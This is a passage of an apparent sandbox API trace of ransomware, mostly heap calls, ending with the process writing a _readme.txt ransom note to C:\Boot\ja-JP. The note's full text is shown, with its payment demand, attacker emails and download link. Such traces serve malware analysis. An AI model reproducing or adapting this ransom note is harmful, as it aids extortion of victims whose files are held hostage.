HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.477] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.480] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0066.480] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.480] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.480] PathFindFileNameW (pszPath="") returned="" [0066.480] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.481] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.481] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.481] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.481] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0066.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.481] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0066.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.481] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.481] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.481] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.482] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.482] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.483] CloseHandle (hObject=0x5c4) returned 1 [0066.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.483] HeapFree (in: 